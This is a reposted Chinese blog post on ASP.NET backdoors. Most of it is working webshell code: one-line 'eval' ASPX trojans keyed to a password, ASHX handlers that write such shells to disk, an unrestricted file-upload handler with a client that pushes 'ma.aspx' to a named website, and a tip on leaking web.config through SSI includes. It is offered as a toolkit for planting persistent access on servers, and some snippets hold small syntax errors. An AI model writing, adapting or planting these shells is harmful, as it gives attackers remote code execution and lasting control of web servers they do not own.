zoukankan      html  css  js  c++  java
  • ashx后门[转]

    https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html

    一、标准ASPX一句话木马
    .NET平台下的一句话木马则百年不变,最常见的当属下面这句

    <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>
    想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

    <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>
    二、ASHX一句话木马
    ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

    这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。

    二、ASHX写文件木马
    木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。

    <%@ WebHandler Language="C#" class="Handler"% >
    using System;
    using System.Web;
    using System.IO;
    public class Handler:IHttpHandler {

    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
    file.Write("<%eval request("pass")%>");
    file.Flush();
    file.Close();
    context.Response.Write("www.webshell.cc");
    }

    public bool IsReusable {
    get {
    return false;
    }
    }
    }

    将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

    1.用String连接字符串

    <%@ WebHandler Language="C#" Class="Handler" %>

    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) { 
        context.Response.ContentType = "text/plain"; 
        string show="<% @Page Language="Jscript"%"+"><%eval(Request.Item"+"["chopper"]"+","unsafe");%>"; 
        StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
        file1.Write(show); 
        file1.Flush(); 
        file1.Close(); 
         
    } 
    
    public bool IsReusable { 
        get { 
            return false; 
        } 
    } 
    

    }
    2.比较笨的方法,看代码吧

    <%@ WebHandler Language="C#" Class="Uploader" %>
    using System;
    using System.IO;
    using System.Web;

    public class Uploader : IHttpHandler
    {
    public void ProcessRequest(HttpContext hc)
    {
    foreach (string fileKey in hc.Request.Files)
    {
    HttpPostedFile file = hc.Request.Files[fileKey];
    file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));
    }
    }

    public bool IsReusable 
    { 
        get { return true; } 
    } 
    

    }
    然后用VS建立WinForm程序~主函数里写:

    System.Net.WebClient myWebClient = new System.Net.WebClient();
    myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:ma.aspx");
    三、stm/shtm/shtml脚本
    虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。

    当前文件名称:
    Web服务器的名称和版本:
    主机名:
    端口:
    客户或客户代理IP地址:
    客户或客户代理主机名:
    PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:

    客户端给出附加路径信息:

    标签: ASPX后门, ASHX后门

  • 相关阅读:
    使用flv.js + websokect播放rtsp格式视频流
    form表单数据回显双向绑定失效的原因
    element UI日期选择器动态切换了type之后布局错乱
    umi+dva+antd+axios搭建项目,跨域代理问题
    浏览器-preview 改写了 response里面的int类型的字段数值
    mac笔记本分辨率为2560*1600,css样式错位问题
    常用的正则表达式
    vue 实现树形结构
    js禁止遮罩层下页面滚动
    ts封装axios
  • 原文地址:https://www.cnblogs.com/mrhonest/p/11546880.html
Copyright © 2011-2022 走看看